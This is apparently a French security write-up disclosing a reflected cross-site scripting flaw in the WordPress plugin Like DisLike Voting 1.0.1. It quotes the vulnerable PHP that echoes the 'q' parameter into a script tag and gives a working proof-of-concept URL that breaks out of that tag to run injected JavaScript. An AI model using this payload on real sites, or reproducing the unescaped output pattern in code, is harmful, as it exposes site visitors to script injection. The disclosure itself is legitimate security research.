Accueil Cross-Site Scripting (reflected) dans le plugin Wordpress Like DisLike Voting
Post
Annuler

Cross-Site Scripting (reflected) dans le plugin Wordpress Like DisLike Voting

Présentation du plugin

Le plugin Like DisLike Voting (slug: like-dislike-voting) se présente de cette façon :

Get like-dislike rating for your content. You can use the plugin to allow your user for rating as Like or Dislike to your content.

It also counts and shows number of Like and Dislike hit. In dashboard you will find plugin option for placement of Like-Dislike button and also you can control voting type. You can allow everyone to rate your content and You also can allow registered user only to rate your content. It has simple codes that never crash with other plugin/theme.

La version testée est la 1.0.1 et date d’il y a 8 ans au moment de ces lignes.

La vulnérabilité

Le script index.php du plugin ne fait que charger différents fichiers :

1
2
3
4
5
6
7
require 'files/session.php';

require 'files/function.php';
 
require 'files/like.php';

require 'files/options.php';

C’est le fichier like.php qui nous intéresse, surtout la fonction ldv_like_post appelée comme hook :

1
add_action('wp_head', 'ldv_like_post');

Cette fonction est la suivante :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
function ldv_like_post($content)
{
        if($_REQUEST['act']=='like' && $_REQUEST['q']!="" && $_SESSION[$_REQUEST['q'].'_post_like']=="") {
                $_SESSION[$_REQUEST['q'].'_post_like']='done';
                $counts=get_post_meta($_REQUEST['q'],'ldv_like_post',true)+1;
                add_post_meta($_REQUEST['q'], 'ldv_like_post', $counts, true);  
                update_post_meta($_REQUEST['q'], 'ldv_like_post', $counts);
                $url_rdir="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?p=".$_REQUEST['q'];
                                                
                if(get_option('vote_type')=='reg')
                {                                       
                        $current_user = wp_get_current_user();
                        $usr_id=$current_user->ID;
                        $vote_done=get_option('vote_done');
                        if($vote_done=='') {
                                $vote_done[$usr_id]=$_REQUEST['q'];
                                add_option('vote_done',$vote_done);
                        } else {
                                if($vote_done[$usr_id]=='') {
                                        $vote_done[$usr_id]=$_REQUEST['q'];
                                } else {
                                        $vote_pst=explode(",",$vote_done[$usr_id]);
                                        for($i=0;$i<=count($vote_pst);$i++) {
                                                if($vote_pst[$i]!=$_REQUEST['q']) {
                                                        $do_vote="yes";
                                                        break;
                                                } 
                                        }
                                        if($do_vote=='yes') {
                                                $vote_done[$usr_id]=$vote_done[$usr_id].",".$_REQUEST['q'];
                                        }
                                }
                                update_option('vote_done',$vote_done);
                        }
                }
?>
                <script type="text/javascript">
                window.location = "<?php echo $url_rdir; ?>";
                </script>
<?php
        }
        if($_REQUEST['act']=='unlike' && $_REQUEST['q']!="" && $_SESSION[$_REQUEST['p'].'_post_like']=="") {
        --- snip ---

La suite du code est très ressemblante au premier bloc, mais avec le dislike.

Ce qui nous intéresse ici, c’est la variable $url_rdir qui est formée à l’aide du paramètre q puis affichée à la fin dans du code Javascript.

On peut donc inclure du code JS ici, mais pour que l’interprétation ait lieu il faut d’abord faire échouer la redirection basée sur window.location.

Pour cela, on va provoquer une erreur de syntaxe dans la balise script courante (en ne fermant pas la string) et ouvrir une autre balise script pour l’exploitation.

PoC :

1
http://localhost:8000/?q=%3C/script%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E&act=unlike

Ce qui rend le code suivant :

1
2
3
		<script type="text/javascript">
		window.location = "http://localhost:8000/index.php?p=</script><script>alert(/XSS/)</script>";
		</script>
Cet article est sous licence CC BY 4.0 par l'auteur.